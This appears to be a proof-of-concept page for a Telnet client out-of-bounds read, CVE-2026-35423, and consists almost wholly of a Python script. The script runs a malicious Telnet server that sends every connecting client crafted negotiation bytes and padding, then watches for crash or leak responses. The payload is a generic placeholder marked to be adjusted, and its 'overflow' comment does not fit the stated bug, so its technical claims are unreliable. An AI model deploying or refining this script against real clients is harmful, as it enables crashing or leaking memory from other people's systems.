CVE-2026-35423 Telnet客户端越界读取漏洞

# PoC Concept for CVE-2026-35423 (Out-of-bounds Read) # This script simulates a malicious Telnet server. # It sends a crafted payload to trigger the vulnerability in the connecting client. import socket import sys def malicious_server(host='0.0.0.0', port=2323): # Create a TCP socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: server_socket.bind((host, port)) server_socket.listen(5) print(f"[*] Listening on {host}:{port}...") while True: client, addr = server_socket.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") try: # Send the initial Telnet negotiation commands # Payload designed to trigger the out-of-bounds read # Adjust the byte sequence based on specific vulnerability analysis payload = b'\xff\xfd\x18' # Example Telnet command payload += b'A' * 1000 # Padding to overflow/poison buffer payload += b'\xff\xfb\x18' # Additional negotiation client.send(payload) print("[*] Payload sent, checking for crash/leak response...") # Wait for response (optional) response = client.recv(4096) print(f"[*] Received: {response}") except Exception as e: print(f"[!] Error with client: {e}") finally: client.close() except KeyboardInterrupt: print("\n[*] Server stopped.") server_socket.close() except Exception as e: print(f"[!] Server error: {e}") if __name__ == "__main__": malicious_server()